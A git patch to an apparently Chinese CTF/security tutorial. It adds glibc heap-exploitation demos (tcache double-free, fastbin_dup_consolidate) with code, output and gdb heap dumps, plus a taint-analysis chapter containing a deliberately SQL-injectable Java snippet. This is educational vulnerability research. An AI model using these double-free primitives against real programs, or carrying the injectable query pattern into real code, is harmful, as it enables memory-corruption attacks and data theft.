From 497f67c428ca431542fc25da43cba600d39eb4c7 Mon Sep 17 00:00:00 2001 From: firmianay Date: Thu, 5 Apr 2018 14:53:06 +0800 Subject: [PATCH] update 3.3.6 --- doc/3.3.6_heap_exploit_1.md | 232 ++++++++++++++++++ doc/4.3_gcc_arg.md | 10 + doc/5.5_taint_analysis.md | 64 +++++ pic/5.5_overview.png | Bin 0 -> 50212 bytes src/Others/3.3.6_heap_exploit/Makefile | 2 +- .../fastbin_dup_consolidate.c | 29 +++ .../3.3.6_heap_exploit/tcache_double-free.c | 28 +++ 7 files changed, 364 insertions(+), 1 deletion(-) create mode 100644 pic/5.5_overview.png create mode 100644 src/Others/3.3.6_heap_exploit/fastbin_dup_consolidate.c create mode 100644 src/Others/3.3.6_heap_exploit/tcache_double-free.c diff --git a/doc/3.3.6_heap_exploit_1.md b/doc/3.3.6_heap_exploit_1.md index ff0402b..a70fad8 100644 --- a/doc/3.3.6_heap_exploit_1.md +++ b/doc/3.3.6_heap_exploit_1.md @@ -5,6 +5,7 @@ - [first_fit](#first_fit) - [fastbin_dup](#fastbin_dup) - [fastbin_dup_into_stack](#fastbin_dup_into_stack) + - [fastbin_dup_consolidate](#fastbin_dup_consolidate) - [unsafe_unlink](#unsafe_unlink) - [house_of_spirit](#house_of_spirit) - [参考资料](#参考资料) @@ -317,6 +318,65 @@ previously allocated by thread T0 here: ``` 一个很明显的 double-free 漏洞。关于这类漏洞的详细利用过程,我们会在后面的章节里再讲。 +看一点新鲜的,在 libc-2.26 中,即使两次 free,也并没有触发 double-free 的异常检测,这与 tcache 机制有关,以后会详细讲述。这里先看个能够在该版本下触发 double-free 的例子: +```c +#include +#include + +int main() { + int i; + + void *p = malloc(0x40); + fprintf(stderr, "First allocate a fastbin: p=%p\n", p); + + fprintf(stderr, "Then free(p) 7 times\n"); + for (i = 0; i < 7; i++) { + fprintf(stderr, "free %d: %p => %p\n", i+1, &p, p); + free(p); + } + + fprintf(stderr, "Then malloc 8 times at the same address\n"); + int *a[10]; + for (i = 0; i < 8; i++) { + a[i] = malloc(0x40); + fprintf(stderr, "malloc %d: %p => %p\n", i+1, &a[i], a[i]); + } + + fprintf(stderr, "Finally trigger double-free\n"); + for (i = 0; i < 2; i++) { + fprintf(stderr, "free %d: %p => %p\n", i+1, &a[i], a[i]); + free(a[i]); + } +} +``` +``` +$ gcc -g tcache_double-free.c +$ ./a.out +First allocate a fastbin: p=0x559e30950260 +Then free(p) 7 times +free 1: 0x7ffc498b2958 => 0x559e30950260 +free 2: 0x7ffc498b2958 => 0x559e30950260 +free 3: 0x7ffc498b2958 => 0x559e30950260 +free 4: 0x7ffc498b2958 => 0x559e30950260 +free 5: 0x7ffc498b2958 => 0x559e30950260 +free 6: 0x7ffc498b2958 => 0x559e30950260 +free 7: 0x7ffc498b2958 => 0x559e30950260 +Then malloc 8 times at the same address +malloc 1: 0x7ffc498b2960 => 0x559e30950260 +malloc 2: 0x7ffc498b2968 => 0x559e30950260 +malloc 3: 0x7ffc498b2970 => 0x559e30950260 +malloc 4: 0x7ffc498b2978 => 0x559e30950260 +malloc 5: 0x7ffc498b2980 => 0x559e30950260 +malloc 6: 0x7ffc498b2988 => 0x559e30950260 +malloc 7: 0x7ffc498b2990 => 0x559e30950260 +malloc 8: 0x7ffc498b2998 => 0x559e30950260 +Finally trigger double-free +free 1: 0x7ffc498b2960 => 0x559e30950260 +free 2: 0x7ffc498b2968 => 0x559e30950260 +double free or corruption (fasttop) +[2] 1244 abort (core dumped) ./a.out +``` + #### fastbin_dup_into_stack ```c #include @@ -473,6 +533,178 @@ gef➤ x/5gx 0x7fffffffdc38-0x8 所以对于 fastbins,可以通过 double-free 覆盖 fastbins 的结构,来获得一个指向任意地址的指针。 +#### fastbin_dup_consolidate +```c +#include +#include +#include +#include + +int main() { + void *p1 = malloc(0x10); + void *p2 = malloc(0x10); + strcpy(p1, "AAAAAAAA"); + strcpy(p2, "BBBBBBBB"); + fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2); + + fprintf(stderr, "Now free p1!\n"); + free(p1); + + void *p3 = malloc(0x400); + fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3); + fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n"); + + free(p1); + fprintf(stderr, "Trigger the double free vulnerability!\n"); + fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n"); + + void *p4 = malloc(0x10); + strcpy(p4, "CCCCCCC"); + void *p5 = malloc(0x10); + strcpy(p5, "DDDDDDDD"); + fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", p4, p5); +} +``` +``` +$ gcc -g fastbin_dup_consolidate.c +$ ./a.out +Allocated two fastbins: p1=0x17c4010 p2=0x17c4030 +Now free p1! +Allocated large bin to trigger malloc_consolidate(): p3=0x17c4050 +In malloc_consolidate(), p1 is moved to the unsorted bin. +Trigger the double free vulnerability! +We can pass the check in malloc() since p1 is not fast top. +Now p1 is in unsorted bin and fast bin. So we'will get it twice: 0x17c4010 0x17c4010 +``` +这个程序展示了利用在 large bin 的分配中 malloc_consolidate 机制绕过 fastbin 对 double free 的检查,这个检查在 fastbin_dup 中已经展示过了,只不过它利用的是在两次 free 中间插入一次对其它 chunk 的 free。 + +首先分配两个 fast chunk: +``` +gef➤ x/15gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 +0x602010: 0x4141414141414141 0x0000000000000000 +0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk p2 +0x602030: 0x4242424242424242 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000020fc1 <-- top chunk +0x602050: 0x0000000000000000 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000000000 +0x602070: 0x0000000000000000 +``` +释放掉 p1,则空闲 chunk 加入到 fastbins 中: +``` +gef➤ x/15gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [be freed] +0x602010: 0x0000000000000000 0x0000000000000000 +0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk p2 +0x602030: 0x4242424242424242 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000020fc1 <-- top chunk +0x602050: 0x0000000000000000 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000000000 +0x602070: 0x0000000000000000 +gef➤ heap bins fast +[ Fastbins for arena 0x7ffff7dd1b20 ] +Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) +``` +此时如果我们再次释放 p1,必然触发 double free 异常,然而,如果此时分配一个 large chunk,效果如下: +``` +gef➤ x/15gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [be freed] +0x602010: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 <-- fd, bk pointer +0x602020: 0x0000000000000020 0x0000000000000020 <-- chunk p2 +0x602030: 0x4242424242424242 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3 +0x602050: 0x0000000000000000 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000000000 +0x602070: 0x0000000000000000 +gef➤ heap bins fast +[ Fastbins for arena 0x7ffff7dd1b20 ] +Fastbins[idx=0, size=0x10] 0x00 +gef➤ heap bins small +[ Small Bins for arena 'main_arena' ] +[+] small_bins[1]: fw=0x602000, bk=0x602000 + → Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) +[+] Found 1 chunks in 1 small non-empty bins. +``` +可以看到 fastbins 中的 chunk 已经不见了,反而出现在了 small bins 中,并且 chunk p2 的 prev_size 和 size 字段都被修改。 + +看一下 large chunk 的分配过程: +```c + /* + If this is a large request, consolidate fastbins before continuing. + While it might look excessive to kill all fastbins before + even seeing if there is space available, this avoids + fragmentation problems normally associated with fastbins. + Also, in practice, programs tend to have runs of either small or + large requests, but less often mixtures, so consolidation is not + invoked all that often in most programs. And the programs that + it is called frequently in otherwise tend to fragment. + */ + + else + { + idx = largebin_index (nb); + if (have_fastchunks (av)) + malloc_consolidate (av); + } +``` +当分配 large chunk 时,首先根据 chunk 的大小获得对应的 large bin 的 index,接着判断当前分配区的 fast bins 中是否包含 chunk,如果有,调用 malloc_consolidate() 函数合并 fast bins 中的 chunk,并将这些空闲 chunk 加入 unsorted bin 中。因为这里分配的是一个 large chunk,所以 unsorted bin 中的 chunk 按照大小被放回 small bins 或 large bins 中。 + +由于此时 p1 已经不在 fastbins 的顶部,可以再次释放 p1: +``` +gef➤ x/15gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [double freed] +0x602010: 0x0000000000000000 0x00007ffff7dd1b88 +0x602020: 0x0000000000000020 0x0000000000000020 <-- chunk p2 +0x602030: 0x4242424242424242 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3 +0x602050: 0x0000000000000000 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000000000 +0x602070: 0x0000000000000000 +gef➤ heap bins fast +[ Fastbins for arena 0x7ffff7dd1b20 ] +Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) +gef➤ heap bins small +[ Small Bins for arena 'main_arena' ] +[+] small_bins[1]: fw=0x602000, bk=0x602000 + → Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) +[+] Found 1 chunks in 1 small non-empty bins. +``` +p1 被再次放入 fastbins,于是 p1 同时存在于 fabins 和 small bins 中。 + +第一次 malloc,chunk 将从 fastbins 中取出: +``` +gef➤ x/15gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [be freed], chunk p4 +0x602010: 0x0043434343434343 0x00007ffff7dd1b88 +0x602020: 0x0000000000000020 0x0000000000000020 <-- chunk p2 +0x602030: 0x4242424242424242 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3 +0x602050: 0x0000000000000000 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000000000 +0x602070: 0x0000000000000000 +gef➤ heap bins fast +[ Fastbins for arena 0x7ffff7dd1b20 ] +Fastbins[idx=0, size=0x10] 0x00 +gef➤ heap bins small +[ Small Bins for arena 'main_arena' ] +[+] small_bins[1]: fw=0x602000, bk=0x602000 + → Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) +[+] Found 1 chunks in 1 small non-empty bins. +``` +第二次 malloc,chunk 从 small bins 中取出: +``` +gef➤ x/15gx 0x602010-0x10 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p4, chunk p5 +0x602010: 0x4444444444444444 0x00007ffff7dd1b00 +0x602020: 0x0000000000000020 0x0000000000000021 <-- chunk p2 +0x602030: 0x4242424242424242 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3 +0x602050: 0x0000000000000000 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000000000 +0x602070: 0x0000000000000000 +``` +chunk p4 和 p5 在同一位置。 + #### unsafe_unlink ```c #include diff --git a/doc/4.3_gcc_arg.md b/doc/4.3_gcc_arg.md index 02b67fd..74256f3 100644 --- a/doc/4.3_gcc_arg.md +++ b/doc/4.3_gcc_arg.md @@ -1,11 +1,21 @@ # 4.3 GCC 编译参数解析 +- [GCC](#gcc) - [常用选择](#常用选项) - [Address sanitizer](#address-sanitizer) - [mcheck](#mcheck) - [参考资料](#参考资料) +## GCC +``` +$ wget -c http://www.mirrorservice.org/sites/sourceware.org/pub/gcc/releases/gcc-4.4.0/gcc-4.4.0.tar.bz2 +$ tar -xjvf gcc-4.4.0.tar.bz2 +$ ./configure +$ make && sudo make install +``` + + ## 常用选项 #### 控制标准版本的编译选项 - `-ansi`:告诉编译器遵守 C 语言的 ISO C90 标准。 diff --git a/doc/5.5_taint_analysis.md b/doc/5.5_taint_analysis.md index b9adc20..0484fa7 100644 --- a/doc/5.5_taint_analysis.md +++ b/doc/5.5_taint_analysis.md @@ -1 +1,65 @@ # 5.5 污点分析 + +- [基本原理](#基本原理) +- [方法实现](#方法实现) +- [实例分析](#实例分析) + + +## 基本原理 +污点分析是一种跟踪并分析污点信息在程序中流动的技术。在漏洞分析中,使用污点分析技术将所感兴趣的数据(通常来自程序的外部输入)标记为污点数据,然后通过跟踪和污点数据相关的信息的流向,可以知道它们是否会影响某些关键的程序操作,进而挖掘程序漏洞。即将程序是否存在某种漏洞的问题转化为污点信息是否会被 Sink 点上的操作所使用的问题。 + +污点分析常常包括以下几个部分: +- 识别污点信息在程序中的产生点(Source点)并对污点信息进行标记 +- 利用特定的规则跟踪分析污点信息在程序中的传播过程 +- 在一些关键的程序点(Sink点)检测关键的操作是否会受到污点信息的影响 + +举个例子: +``` +[...] +scanf("%d", &x); // Source 点,输入数据被标记为污点信息,并且认为变量 x 是污染的 +[...] +y = x + k; // 如果二元操作的操作数是污染的,那么操作结果也是污染的,所以变量 y 也是污染的 +[...] +x = 0; // 如果一个被污染的变量被赋值为一个常数,那么认为它是未污染的,所以 x 转变成未污染的 +[...] +while (i < y) // Sink 点,如果规定循环的次数不能受程序输入的影响,那么需要检查 y 是否被污染 +``` + +然而污点信息不仅可以通过数据依赖传播,还可以通过控制依赖传播。我们将通过数据依赖传播的信息流称为显式信息流,将通过控制依赖传播的信息流称为隐式信息流。 + +举个例子: +```c +if (x > 0) + y = 1; +else + y = 0; +``` +变量 y 的取值依赖于变量 x 的取值,如果变量 x 是污染的,那么变量 y 也应该是污染的。 + +通常我们将使用污点分析可以检测的程序漏洞称为污点类型的漏洞,例如 SQL 注入漏洞: +```java +String user = getUser(); +String pass = getPass(); +String sqlQuery = "select * from login where user='" + user + "' and pass='" + pass + "'"; +Statement stam = con.createStatement(); +ResultSetrs = stam.executeQuery(sqlQuery); +if (rs.next()) + success = true; +``` +在进行污点分析时,将变量 user 和 pass 标记为污染的,由于变量 sqlQuery 的值受到 user 和 pass 的影响,所以将 sqlQuery 也标记为污染的。程序将变量 sqlQuery 作为参数构造 SQL 操作语句,于是可以判定程序存在 SQL 注入漏洞。 + +使用污点分析检测程序漏洞的工作原理如下图所示: + +![](../pic/5.5_overview.png) + +- 基于数据流的污点分析。在不考虑隐式信息流的情况下,可以将污点分析看做针对污点数据的数据流分析。根据污点传播规则跟踪污点信息或者标记路径上的变量污染情况,进而检查污点信息是否影响敏感操作。 +- 基于依赖关系的污点分析。考虑隐式信息流,在分析过程中,根据程序中的语句或者指令之间的依赖关系,检查 Sink 点处敏感操作是否依赖于 Source 点处接收污点信息的操作。 + + +## 方法实现 +#### 基于数据流的污点分析 + +#### 基于依赖关系的污点分析 + + +## 实例分析 diff --git a/pic/5.5_overview.png b/pic/5.5_overview.png new file mode 100644 index 0000000000000000000000000000000000000000..c5eec1eba69305707e65122c637fe6365d11c993 GIT binary patch literal 50212 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 